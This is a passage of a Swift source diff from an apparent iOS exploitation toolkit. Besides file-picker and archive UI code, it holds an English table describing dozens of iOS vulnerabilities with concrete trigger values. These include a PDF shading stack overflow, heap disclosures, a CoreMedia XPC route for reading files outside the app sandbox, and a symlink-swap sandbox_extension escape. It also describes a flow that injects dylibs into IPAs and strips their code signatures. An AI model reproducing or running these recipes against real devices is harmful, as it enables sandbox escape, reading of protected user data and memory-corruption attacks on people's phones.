.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
if busy { ProgressView().scaleEffect(0.7) }
}
}
if !results.isEmpty {
Card {
VStack(alignment: .leading, spacing: 6) {
ForEach(Array(results.enumerated()), id: \.offset) { _, row in
VStack(alignment: .leading, spacing: 1) {
Text(row.0).font(T.tiny).foregroundColor(.white.opacity(0.35))
Text(row.1).font(T.monoSm).foregroundColor(T.good)
.textSelection(.enabled)
.fixedSize(horizontal: false, vertical: true)
}
}
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
target = url
compute(url)
}
}
}
private func compute(_ url: URL) {
busy = true
results = []
DispatchQueue.global(qos: .userInitiated).async {
guard let data = try? Data(contentsOf: url) else {
DispatchQueue.main.async { busy = false }
return
}
var out: [(String, String)] = [(tl("大小"), "\(data.count) B")]
out.append(("CRC32", String(format: "%08x", ZipWriter.crc32([UInt8](data)))))
out.append(("SHA-256", data.sha256Hex))
out.append(("SHA-1", data.sha1Hex))
out.append(("MD5", data.md5Hex))
DispatchQueue.main.async {
results = out
busy = false
}
}
}
}
// MARK: - Archive
struct ArchivePane: View {
@State private var target: URL?
@State private var picking = false
@State private var entries: [PackageEntry] = []
@State private var status = ""
@State private var extractTo: String = Container.work.path
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: t("pane.archive"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "shippingbox.fill").font(.system(size: 12))
Text(target?.lastPathComponent ?? t("files.select")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
TextField(t("files.path"), text: $extractTo)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
RunButton(title: tl("解包"), systemImage: "arrow.down.doc", tint: T.info,
disabled: target == nil) { extract() }
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
.fixedSize(horizontal: false, vertical: true)
}
}
}
if !entries.isEmpty {
Card {
VStack(alignment: .leading, spacing: 3) {
SectionLabel(text: tl("内容 (") + "\(entries.count)" + tl(")"))
ForEach(entries.prefix(400)) { e in
HStack {
Text(e.name).font(T.monoSm)
.foregroundColor(.white.opacity(0.65)).lineLimit(1)
Spacer()
Text("\(e.size) B").font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
}
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
target = url
entries = PackageTool.list(url.path)
status = "\(entries.count)" + tl(" 个条目")
}
}
}
private func extract() {
guard let target = target else { return }
status = PackageTool.extract(target.path, to: URL(fileURLWithPath: extractTo))
}
}
// MARK: - File picker
struct FilePickerSheet: View {
@Binding var isPresented: Bool
let onPick: (URL) -> Void
@State private var browser = FileBrowser(path: Container.documents.path)
@State private var jump = ""
var body: some View {
NavigationStack {
VStack(spacing: 0) {
HStack(spacing: 8) {
Button { browser.up() } label: {
Image(systemName: "arrow.up").font(.system(size: 12, weight: .bold))
}.tint(T.ember)
TextField(t("files.path"), text: $jump)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.onSubmit { browser.chdir(jump) }
.padding(7)
.background(RoundedRectangle(cornerRadius: 7).fill(T.panel))
Button { browser.chdir(jump) } label: {
Image(systemName: "arrow.right.to.line").font(.system(size: 11, weight: .bold))
}.tint(T.ember)
}
.padding(.horizontal, 16).padding(.vertical, 8)
Text(browser.path)
.font(T.monoSm).foregroundColor(.white.opacity(0.3))
.lineLimit(1).truncationMode(.head)
.frame(maxWidth: .infinity, alignment: .leading)
.padding(.horizontal, 16).padding(.bottom, 6)
List {
ForEach(browser.items) { item in
Button {
if item.isDirectory {
browser.enter(item)
jump = item.path
} else {
onPick(URL(fileURLWithPath: item.path))
isPresented = false
}
} label: {
HStack(spacing: 10) {
Image(systemName: item.icon).font(.system(size: 12))
.foregroundColor(item.isDirectory ? T.ember : .white.opacity(0.4))
.frame(width: 18)
Text(item.name).font(T.body).foregroundColor(.white.opacity(0.85)).lineLimit(1)
Spacer()
if !item.isDirectory {
Text(item.displaySize).font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
}
}
.listRowBackground(T.panel)
}
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("files.select"))
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarTrailing) {
Button(t("files.cancel")) { isPresented = false }.tint(T.ember)
}
}
.onAppear { jump = browser.path }
}
}
}
+515
View File
@@ -0,0 +1,515 @@
import Foundation
/// Bilingual text for every primitive. Chinese is the source and lives next to the module
/// definition; English lives here. A module whose id is missing from this table falls back
/// to the Chinese text rather than showing a key, so a new primitive is never blank.
enum ModuleText {
enum Field {
case title, summary, notes
}
static func resolve(_ id: String, _ field: Field, zh: String) -> String {
guard Lang.resolved == .en else { return zh.trimmingCharacters(in: .whitespacesAndNewlines) }
guard let row = en[id] else { return zh.trimmingCharacters(in: .whitespacesAndNewlines) }
switch field {
case .title: return row.title
case .summary: return row.summary
case .notes: return row.notes
}
}
struct Row {
let title: String
let summary: String
let notes: String
}
static let en: [String: Row] = [
// MARK: CoreGraphics
"cg.shading": Row(
title: "Type-5 shading stack overflow (value-controlled OOB write)",
summary: """
A /ShadingType 5 dictionary whose /Function declares a /Range dimension that does not match the component count of its /ColorSpace. At draw time _cg_shading_type5_draw builds one 72-byte mesh record per triangle vertex — the colour area sits at record +0x20 with capacity nc×8 bytes — then calls CGFunctionEvaluate, which bounds its write by its own [func+0x30] field (the /Range dimension) and writes that many doubles into the colour area. No comparison exists between the write length and the destination capacity. The mesh array is alloca'd on the stack by CGTriangleMeshCreate, so the last record's write walks past the record tail, the auxiliary arrays, the row buffers and the saved registers in order.
""",
notes: """
With R=136, nc=1 and /C0=/C1=1.0 every written double has the bit pattern 0x3FF0000000000000. The overflow also overwrites the two spill slots holding the triangle count and the mesh pointer; the loop-exit comparison reads the overwritten count and keeps going, then dereferences the overwritten pointer. The fault address is therefore the PDF-chosen double bit pattern plus a structural offset — measured on device as 0x3ff000000000001c, where 0x1c = idx×16 + 0xc. iOS 27.2 rejects the dictionary at parse time with CG-SEC-187882049; the draw code is byte-identical on both builds, so this is a gate-only fix.
"""),
"cg.shading.sweep": Row(
title: "Overflow length sweep (finding the absorption threshold)",
summary: """
A short overflow is absorbed by the adjacent VLA without faulting — the write has to be long enough to reach live state. This pass steps R from 4 to 256, recording at each value whether rendering still completes, and thereby maps the real boundary of the stack layout on this build. That threshold sets the length budget for every subsequent payload.
""",
notes: """
Executed in ascending order. Small values finish first and the process terminates at the first fatal one, so the write-ahead journal retains the last successful value and a single run locates the boundary.
"""),
"cg.cmap": Row(
title: "CMap /UseCMap recursion out-of-bounds write (negative-result probe)",
summary: """
_cmap_convert passes the outer codespace length (up to 255) into an output slot sized for a single result (2-byte code / 8-byte len) when it recurses. iOS 27.2 adds a min(L,4) clamp and re-lays out the output slots.
""",
notes: """
In the source analysis the embedded-CMap vehicle was refuted by three independent reachability blockers. The value of this module is that it records the negative result too: a crash here would mean the vehicle has been reopened and the conclusion has to be revised.
"""),
// MARK: ImageIO
"iio.tiff.planar": Row(
title: "TIFF planar scatter out-of-bounds write",
summary: """
With PlanarConfiguration=2 and SamplesPerPixel greater than the channel count implied by Photometric, the scatter pointer offset is computed with a 32-bit multiply and the result is never compared against the destination row capacity. iOS 27.2 switches to a 64-bit umull and compares required bytes against capacity.
""",
notes: """
The error string that 27.2 adds is absent on 24A435: "*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu".
"""),
"iio.tiff.trunc": Row(
title: "TIFF truncated strip → uninitialised heap into pixels",
summary: """
The return value of TIFFReadEncodedStrip is never checked. On read failure the uninitialised malloc'd strip buffer is scattered into the output image, so the decoded pixels are whatever was left on the process heap.
""",
notes: """
Detection: decode the same file three times and compare output fingerprints. If the strip region differs each run, the buffer is uninitialised heap. iOS 27.2 zero-fills it and reports "strip %d is zero-filled".
"""),
"iio.apng.fctl": Row(
title: "APNG fcTL truncation → uninitialised frame geometry on the stack",
summary: """
Thirty-four bytes are read at the fcTL offset and the return value is not checked. When the file is truncated mid-fcTL only the front of that 34-byte stack buffer is written; the remainder is parsed as frame width, height, offsets and delay.
""",
notes: """
iOS 27.2 reads 26 bytes, checks cmp x0,#0x1a, and reports "*** truncated 'fcTL' chunk at offset %ld".
"""),
"iio.jpeg.marker": Row(
title: "JPEG marker length out of bounds",
summary: """
When a marker declares a length far beyond the bytes actually present, 27.0 logs one "*** WARNING: check markerLength" and keeps parsing, reading out of bounds. 27.2 aborts the parse.
""",
notes: """
Declared length 0xFFEE against 28 bytes of real payload.
"""),
"iio.jpeg.comment": Row(
title: "EXIF UserComment short read → metadata disclosure",
summary: """
The return value of getBytesAtOffset is never checked. When an entry's value offset falls outside the marker the read comes up short, the tail of the malloc'd buffer stays uninitialised, and that buffer is then handed back to the caller as the UserComment metadata value — a direct read of the process heap.
""",
notes: """
count declares 0x400 with the value offset at +0x4000. The result line prints how many bytes were actually obtained and the first 24 of them.
"""),
"iio.jpeg.gps": Row(
title: "GPS IFD value offset out of bounds",
summary: """
The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws OutOfBounds on violation.
""",
notes: """
The RATIONAL offset for GPSAltitude points at +0x10000.
"""),
"iio.dds.bc7": Row(
title: "BC7 texture mip truncation",
summary: """
A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit mip size arithmetic plus dimension and data-size gates.
""",
notes: """
A 512×512 BC7 surface needs 65536 bytes; 64 are supplied.
"""),
"iio.ktx2": Row(
title: "KTX2 dimension and level size arithmetic",
summary: """
KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image dimensions overflow" and "expected %llu bytes" gates.
""",
notes: """
Dimensions 0xFFFF×0xFFFF with the level index declaring 64 bytes.
"""),
// MARK: libarchive
"arc.iso": Row(
title: "ISO9660 Joliet pathname heap overflow",
summary: """
After recursively appending the parent path, build_pathname_utf16be unconditionally writes a 2-byte UTF-16BE '/' without re-checking the running length against the 1024 limit. When a directory chain sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], two bytes past a malloc(1024) buffer, and 0x002F overwrites the adjacent heap chunk header.
""",
notes: """
The chain length 4×206 + 192 + 4×2 = 1024 aligns exactly with the limit. Reproduced on the macOS fork of the same version with bsdtar; a hardware breakpoint hit the write instruction immediately before "Pathname is too long".
"""),
"arc.iso.stress": Row(
title: "Joliet path length loop",
summary: """
The same ISO is traversed repeatedly so the 2-byte out-of-bounds write happens many times and interleaves with other allocations. A single two-byte write is usually absorbed by malloc metadata; repetition is what pushes the damage into a visible position.
""",
notes: """
32 rounds, each with a fresh archive handle.
"""),
"arc.cab": Row(
title: "CAB LZX match against uninitialised history",
summary: """
LZX decoding computes copy_pos = (w_pos − copy_pos) & w_mask and drops straight into the copy loop. While the window has not yet been written, copy_pos points into uninitialised memory and the copied bytes are residual heap. iOS 27.2 adds copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED.
""",
notes: """
The second site under the same CVE (the first is the Joliet pathname). The seed is a grammar probe: a structurally complete CAB container plus an LZX block that opens with a match, using libarchive's own return code as the progress receipt.
"""),
"arc.rr": Row(
title: "RockRidge relocation cycle (unfixed sibling)",
summary: """
Upstream fixed the infinite loop caused by a RockRidge relocation cycle in September 2026 (d14de384fcc6) and Apple did not take the commit. The defect is present on both 27.0 and 27.2, making it the only candidate in this project that also holds on current systems.
""",
notes: """
Builds a CL entry pointing at its own directory using the same structure as the Joliet seed. If the path is live it hangs, so the run is timed against a threshold.
"""),
// MARK: CoreMedia
"cm.rpu": Row(
title: "Dolby Vision RPU extension metadata block array overrun",
summary: """
Three fixed-capacity arrays (A: 4×28 B, B: 8×14 B, C: 5×36 B) have no count bound before writing. The 27.0 cmp + b.hi only skips the count increment; the write still executes indexed by the unchecked count. Array A's overrun crosses the end of the 0x73b4-byte struct and lands in the caller's saved-register area — CMGetDMVersionLevelFromRPU places that struct on its own stack frame.
""",
notes: """
This is the only CoreMedia line the advisory explicitly labels "arbitrary code execution". The header grammar was reconstructed in the source research only as far as the entry checks (magic / rpu_type / rpu_format, verified live on the macOS twin), so this uses a parameterised grammar probe and treats the parser's own error as the progress receipt.
"""),
"cm.rpu.sweep": Row(
title: "RPU block count and block type sweep",
summary: """
Block-ids 1/2/6 are aimed at the three arrays (capacities 4/8/5) in turn, each from one element over capacity up to eight over, recording where the parser starts refusing or terminates.
""",
notes: """
Array A is the only one that escapes the struct into saved registers; B and C stay intra-struct and corrupt neighbouring fields.
"""),
// MARK: XNU
"kern.ipc": Row(
title: "ipc_port request table index race",
summary: """
iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
""",
notes: """
The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index.
"""),
"kern.decmpfs": Row(
title: "decmpfs chunked decompression under-produce → kernel heap disclosure",
summary: """
When chunked zlib decompression produces fewer bytes than expected, 27.0 does not compare produced against expected, so the tail of the kernel page buffer is left unwritten; read() then hands the whole buffer back to the app, which receives stale heap content. iOS 27.2 adds that comparison.
""",
notes: """
One of the few kernel paths in this set that needs no entitlement at all: the app writes a file carrying a com.apple.decmpfs extended attribute inside its own container and reads back what the kernel decompressed. Scanning in 8-byte windows, any value inside the kernel address range (≥ 0xFFFFFFE000000000) is a candidate pointer.
"""),
"kern.baseline": Row(
title: "Mach namespace baseline",
summary: """
Reads the bootstrap port and the process's own port namespace to establish the starting point before any race: can ports be listed, and how many names are available.
""",
notes: """
Every race result has to be read against this baseline.
"""),
// MARK: Audio
"aud.lc3": Row(
title: "LC3 decoder input buffer overflow",
summary: """
memcpy uses mDataByteSize as its length and never consults the (begin, end) capacity of the input vector. iOS 27.2 adds a capacity < size rejection. LC3 is the Bluetooth LE Audio codec and its instantiation is gated by com.apple.coreaudio.allow-lc3-codec, so the crash lands in the system audio process — matching the advisory's "system termination".
""",
notes: """
The module first checks whether the process holds that entitlement, then tries to construct an LC3 AudioConverter to see which layer refuses. Without the entitlement it always fails, but where it fails is itself informative.
"""),
"aud.hoa": Row(
title: "HOA spatial audio coefficient out-of-bounds read",
summary: """
mNumHOAcoeffs is deserialised from the file's hoa::CodecConfig. The existing check only rejects values above 122, while anything from 37 to 121 indexes an array of length 37. iOS 27.2 changes the comparison threshold to 0x25.
""",
notes: """
The coefficient ceiling comes from kMaxNumSCs_DynSelSCs4EachSB. Actually driving this needs an MPEG-H / immersive audio file; from the app side only the decoder's reachability can be probed.
"""),
"aud.haptic": Row(
title: "AVHaptic custom audio event format validation",
summary: """
On 27.0 createCustomAudioEvent neither validates the ASBD nor compares frames×bytesPerFrame against the actual waveform byte count. iOS 27.2 adds both checks. The XPC server side of this interface lives in the CoreHaptics server process.
""",
notes: """
Driven through the audioCustom event on CHHapticEngine, which is the closest public path to the server-side input.
"""),
"aud.immersive": Row(
title: "Immersive renderer data deserialisation capacity gap",
summary: """
The count and dataByteSize taken off the wire are compared only against "how much is left on the wire", never against "how much the destination buffer holds", producing a linear heap overflow inside the audio server process. iOS 27.2 adds ReadImmersiveRendererDataV1/V2, folds destination capacity into the check, and adds a version 1..3 validity gate.
""",
notes: """
No seed file is needed — the payload is the wire format itself. But the entry is on the audio service's XPC side, so from the app only the codec and immersive renderer reachability can be probed.
"""),
"aud.drc": Row(
title: "MPEG-D DRC downmix matrix coefficient validation",
summary: """
On 27.0 selectDownmixMatrix has only zero and equality checks; the matrix dimensions come straight from DRC metadata and are never compared against the coefficient array's real length. iOS 27.2 adds three gates — nChannels ≤ 8, ordered dimensions, coefficient count == rows×cols — plus count checks in getSignalPeakLevel and Process.
""",
notes: """
Needs an audio file carrying MPEG-D DRC metadata. From the app side this probes whether AudioCodecs exports those symbols.
"""),
// MARK: Video
"vid.avc": Row(
title: "AVC slice count cap missing",
summary: """
The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation, and 112454 replaces the histogram IOSurface pointer with a random cookie.
""",
notes: """
The NAL-verified single-variable control is 32 slices → 900 slices. This module builds the 900-slice structure and hands it to CMVideoFormatDescription / VTDecompressionSession, judging by the plugin's own error code.
"""),
"vid.hevc": Row(
title: "MVHEVC layer id out of range",
summary: """
Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight into the plugin's layer table index. iOS 27.2 adds layer id validation.
""",
notes: """
Layer id 0x3F, outside the valid range.
"""),
// MARK: Fonts / Model I/O
"font.cff": Row(
title: "CFF Type2 charstring operand stack overflow",
summary: """
The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the pop path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens the scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer.
""",
notes: """
The seed is a bare CFF: a single charstring pushing 300 operands then endchar. The interpreter only runs when a glyph is actually drawn.
"""),
"font.gdef": Row(
title: "GDEFLigatureCaret offset-chain out-of-bounds read",
summary: """
GDEF LigCaretList → LigGlyph → CaretValue offsets are followed directly on 27.0: the caret offset is read as a big-endian u16 and added to the LigGlyph base with neither an end-check nor a sign-check. The CaretValue offset is file-controlled, so pointing it outside the table walks out of the GDEF and the i16 coordinate read there is handed back to the caller as-is. iOS 27.2 clamps the offset against the GDEF table slice.
""",
notes: """
The seed is a structurally complete TrueType whose LigCaretList covers glyph 1 with a CaretValue offset of 0x7F00 — about 32 KB past the font data. Driven through the public API CTFontGetLigatureCaretPositions: when the chain is followed a non-zero caret count comes back with heap-residue coordinates; when clamped the call returns 0. Also recorded: GDEF's other consumer, AttachList/AttachPoint, has the same offset-chasing shape and was not touched in this fix window — a negative result, kept on file.
"""),
"mdl.usda": Row(
title: "USDA declaration nesting depth",
summary: """
The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation, Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib itself carries none of the fix.
""",
notes: """
2000 nested def Xform declarations. iOS 27.2 refuses at the nesting cap; 27.0 recurses.
"""),
// MARK: kext / IOKit
"probe.hid": Row(
title: "IOHIDFamily preparsed data table index",
summary: """
A signed int32 index from the record is scaled by 0x14 straight into the caps table base with only a 32-bit multiply-overflow trap and no comparison against the count. Negative indices read below the table, over-range indices read adjacent kernel heap, and the u32 that comes back enters element/event data — a kernel memory disclosure. iOS 27.2 adds cmp idx,count, a NULL guard and 64-bit index arithmetic.
""",
notes: """
The entry is a kernel-side serialised "hid " preparsed container. Whether the app side can push such data in is precisely the question this step answers.
"""),
"probe.ane": Row(
title: "ANE kernel interface reachability",
summary: """
An unchecked program symbolIndex indexes kernel tables and is written back — matching the advisory's "write kernel memory" shape. This module only probes whether the app can reach the ANE user-space entry points.
""",
notes: """
10.19.6 → 10.102.4, one of the largest single kext deltas in the whole diff.
"""),
"probe.privset": Row(
title: "This process's privilege surface",
summary: """
The final privilege ceiling of this whole chain depends on what the process already holds. The csops flags, the entitlements, and the set of paths the sandbox permits together define the furthest point a modification tool can reach.
""",
notes: """
Every directory in the path matrix that reads "writable" is the tool's real working range.
"""),
"kext.gpt": Row(
title: "GPT partition name scan 72-byte kernel heap out-of-bounds read",
summary: """
The partition name scan's bound constant tightens from 0x48 to 0x24. 0x48 is 72 bytes, while the name field inside a GPT entry is only 36 UTF-16 units, so the 27.0 scan runs past the entry tail and into adjacent kernel heap.
""",
notes: """
The app cannot attach a disk image, so this module does two things: build the image that would make 27.0 overrun, and parse it in user space to show the name field really is truncated inside the entry — the overrun itself happens kernel-side.
"""),
"kext.iohid": Row(
title: "IOKit event short-heap fixed-offset write",
summary: """
This defect's carrier is user-space IOKit.framework rather than a kext: IOHIDEventAppendEvent performs an OR write at a fixed offset on a short heap event. iOS 27.2 fixes it inside the framework; the kernel's __DATA_CONST assert table has no related record.
""",
notes: """
Probes whether user-space IOKit exports the event construction entry points.
"""),
// MARK: app and system processes
"sb.stash": Row(
title: "SpringBoard stashed layout name validation",
summary: """
iOS 27.2 adds +[SBHomeScreenService _validationErrorForStashedLayoutName:]: reject empty, cap length at 64, apply a character-set allowlist, on the stash/restore XPC interface. The 27.0 interface has no such layer.
""",
notes: """
From the app only reachability of the SpringBoard service and presence of the class in-process can be observed. The real entry is XPC and requires crossing the sandbox.
"""),
"cal.unzip": Row(
title: "Calendar attachment extraction containment",
summary: """
iOS 27.2 replaces _UnzipArchive (288 B, no limits at all) with _UnzipArchiveWithLimits (2040 B) and adds _CalUnzipEntryDestinationPath / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath plus isSymbolicLinkAtURL. The ICS parser itself is untouched — the whole fix sits in the attachment archive extraction containment layer.
""",
notes: """
From the app one can verify whether CalendarFoundation's classes and methods are visible, and whether libarchive path traversal is contained in this process (test with an archive using a ../ name).
"""),
// MARK: cross-sandbox
"cm.fdleak": Row(
title: "CoreMedia bytestream XPC cross-sandbox file descriptor acquisition",
summary: """
The launchd service com.apple.coremedia.mediaplaybackd.bytestream.xpc is reachable from any sandboxed third-party app, checks no entitlement and raises no permission prompt. Its FigXPC memory-origin handshake (.rp1 → .rp2 → .org) returns status 0 for an unprivileged client; the subsequent 'Curl' create message carries a client-chosen absolute file:// path in CreationURL, and the daemon opens that path with its own credentials without checking either that it lies inside the requesting app's container or that the requester can read it. The reply's ByteStreamDetails dictionary carries a live FileDescriptor. The app dups it and preads — descriptor-level I/O is not subject to the client sandbox's path checks, so the full contents of a file the app's own open() returns EPERM for land in the app container.
""",
notes: """
The same primitive carries three capabilities: 'Curl' against a protected directory returns a directory descriptor that fdopendir/readdir can enumerate; a real but forbidden path returns -12203 and a nonexistent one -17913, forming an existence oracle. iOS 27.0 sealed the read / fdsc / getL auxiliary opcodes (-16158) but left the primary fd-vending path inside the Curl create reply intact — verified end to end on both 27.0 and 27.0.1. The readable domain was mapped across 27 targets in both directions: only /private/var/mobile/Media/iTunes_Control/iTunes/ opens; Photos, Messages, Contacts, the TCC database, keychain, Safari, Health, Wallet and other app containers all return -12203. The write path is denied on both versions (-12878), so the primitive is read / enumerate / oracle, never write.
"""),
"cm.fdleak.boundary": Row(
title: "Cross-sandbox readable domain boundary mapping",
summary: """
Fifteen high-value targets are each given a 'Curl' probe and the daemon's server-side error code is recorded, fixing the primitive's actual readable domain. Three outcomes are distinguished: opens, exists but denied (-12203), does not exist (-17913). The value of this pass is that it leaves the negative results on record — a target that was refused and a target that was never tested are entirely different conclusions.
""",
notes: """
The source research probed 27 targets across 26.5 and 27.0 with a consistent result: only the iTunes media library directory opens. Photos, Messages, Contacts, TCC, keychain, Safari, Health, Wallet, other app containers and shared App Groups were all refused. This module reproduces that mapping so the boundary is measured on this device rather than cited.
"""),
"sbx.toctou": Row(
title: "sandbox_extension symlink TOCTOU out-of-bounds read",
summary: """
sandbox_extension_issue_file resolves a symlink at issue time but does not enforce SANDBOX_EXTENSION_NOFOLLOW. The token it returns is therefore bound to the target resolved at issue time, and the kernel does not re-verify that the path used at consume time is the path the token was issued for. The sequence: create symlink L inside the sandbox pointing at in-sandbox file S; issue an extension for L (the kernel records S); repoint L at out-of-sandbox target T; consume the token and read through L. The kernel permits S's class while the path actually opened is T's.
""",
notes: """
The sequence is deterministic and needs no race window — the link swap happens between two syscalls the app itself controls, not concurrently with the kernel. Apple's position is that an app cannot issue extensions for paths it does not own; the premise is true and irrelevant, because the extension is issued for a path the app does own and that path is then made to denote something else. Apple does not treat this as a security issue, so there is no CVE and none is invented here. The reliable targets are several files under /etc — readable at the vnode level and denied to the app only by the sandbox profile, which is exactly the gap this crosses.
"""),
// MARK: toolchain self-tests
"tool.ipa": Row(
title: "IPA surgery self-test (rename / inject / prepare for re-sign)",
summary: """
Builds a minimal IPA on the spot (Info.plist plus a real Mach-O) and runs the full modification flow: unpack → change CFBundleIdentifier → inject LC_LOAD_DYLIB → remove LC_CODE_SIGNATURE → repack with the project's own ZIP writer. The output lands in Documents/Cinder27/IPA and can be signed directly.
""",
notes: """
This is not a vulnerability, it is proof of the toolchain. It passing means the IPA panel works on your device, not merely on the build machine.
"""),
"tool.zip": Row(
title: "ZIP writer round-trip self-test",
summary: """
Builds an archive of random content with the project's own ZIP writer, unpacks it with libarchive, and compares byte for byte. This is what proves repacking does not quietly corrupt files — the one failure a modification tool must never have.
""",
notes: """
64 files of 4 KB random content each, comparing CRC and length.
"""),
"tool.macho": Row(
title: "Mach-O parser self-test",
summary: """
Runs header parsing over several real binaries on the system volume: architecture, type, platform, minimum OS, SDK, encryption state, linked libraries, rpaths. Encryption state is the most informative field in the whole set — system frameworks have cryptid 0, third-party app binaries do not.
""",
notes: """
Both the project's own parser and MachOInspector run, and the two results should agree.
"""),
"tool.hex": Row(
title: "Hex search and replace self-test",
summary: """
Plants known patterns in a random buffer, then searches, replaces and re-searches using both hex and text notation, confirming the hit counts and offsets.
""",
notes: """
This guards the place a modification tool is least allowed to be wrong.
"""),
"tool.container": Row(
title: "Container read/write normalisation (data container self-test and repair)",
summary: """
Resolves every directory the tooling uses inside the data container, creates it, then actually creates a file, writes, fsyncs, reads back, compares and deletes. The four real reasons container writes failed before are all named here: a URL is not a directory, isWritableFile is a bad probe, container UUIDs change, and Library/Preferences belongs to cfprefsd.
""",
notes: """
Leaves container_health.txt behind. The repair actions are idempotent and run again on every launch.
"""),
"tool.backup": Row(
title: "Backup and restore round-trip self-test",
summary: """
Places a set of known-content files in the container, packs them into a ZIP, extracts to another directory, compares byte for byte, then removes them. This guards whether a backup can actually be restored — the previous version wrote a homegrown format under a .tar name and could not be read back.
""",
notes: """
Also verifies that ../ and symlinks cannot escape the destination during extraction.
"""),
"tool.paths": Row(
title: "Filesystem permission matrix sweep",
summary: """
Tries reading and writing across 30-plus key paths, recording readability, writability, entry count and errno. This is the activity map for the modification tool — it determines how far every panel can go.
""",
notes: """
The result is also written to a text file in Documents for comparison.
"""),
// MARK: probes
"iio.appx": Row(
title: "APP marker out-of-bounds read → leaked bytes written into the output JPEG",
summary: """
_APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself, needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting "marker 0x%04X is out of bounds" when it overruns.
""",
notes: """
The only primitive in the set whose disclosure carrier is the produced file itself. The flow: feed an APP2 marker declaring 0xFFF0 against only 12 real bytes, decode, re-encode through CGImageDestination, then scan the output beyond the source marker's range for non-image bytes.
"""),
"iio.tiff.direntry": Row(
title: "TIFF directory entry allocation 32-bit truncation",
summary: """
The output allocation size is computed as lsl w0, count, #log2(elemsize) — a 32-bit truncation. With count = 0x20000000 and 8-byte elements the allocation wraps to zero while the per-element conversion loop still performs count writes. iOS 27.2 switches to _TIFFCheckMalloc_type's 64-bit checked size.
""",
notes: """
The primitive's precondition is count×elemsize crossing 2^32. This module drives the allocator with a 0x20000000 SBYTE array and observes whether it returns a null pointer (clean refusal) or a block far smaller than requested (truncation holds).
"""),
"iio.pdf.raster": Row(
title: "PDF rasterisation decode buffer overrun",
summary: """
The PDF page is rasterised into a caller-supplied decode buffer with no check that the buffer is large enough. iOS 27.2 adds umull width×bpp, compares against have, branches b.hi, and reports "decode buffer too small: need %zu bytes (%zu x %zu), have %zu".
""",
notes: """
A 4000×4000 page, entered through CGImageSource's PDF read path (not a direct drawPDFPage call) so that decodeImageData is hit.
"""),
"iio.pvr": Row(
title: "PVR bits-per-pixel below the channel bit sum",
summary: """
The mutual consistency check between channel bit widths has always been present, but there is no lower bound comparing bitsPerPixel against the sum of channel bits. iOS 27.2 adds "_bitsPerPixel %d is too small for 4 channels of %d bits".
""",
notes: """
Four channels at 8 bits each, while declaring bitsPerPixel = 8.
"""),
]
}
+562
View File
@@ -0,0 +1,562 @@
import Foundation
// MARK: - Bit stream (MSB-first), used by the shading decoder and the RPU builder
struct BitWriter {
private(set) var out: [UInt8] = []
private var acc: UInt8 = 0
private var nbits = 0
mutating func put(_ value: UInt32, _ width: Int) {
guard width > 0 else { return }
for i in stride(from: width - 1, through: 0, by: -1) {
acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1)
nbits += 1
if nbits == 8 { out.append(acc); acc = 0; nbits = 0 }
}
}
mutating func putExpGolomb(_ value: UInt32) {
let v = value + 1
var bits = 0
while (v >> UInt32(bits)) > 1 { bits += 1 }
for _ in 0..<bits { put(0, 1) }
put(v, bits + 1)
}
mutating func flush() -> [UInt8] {
if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 }
return out
}
}
// MARK: - PDF
struct PDFBuilder {
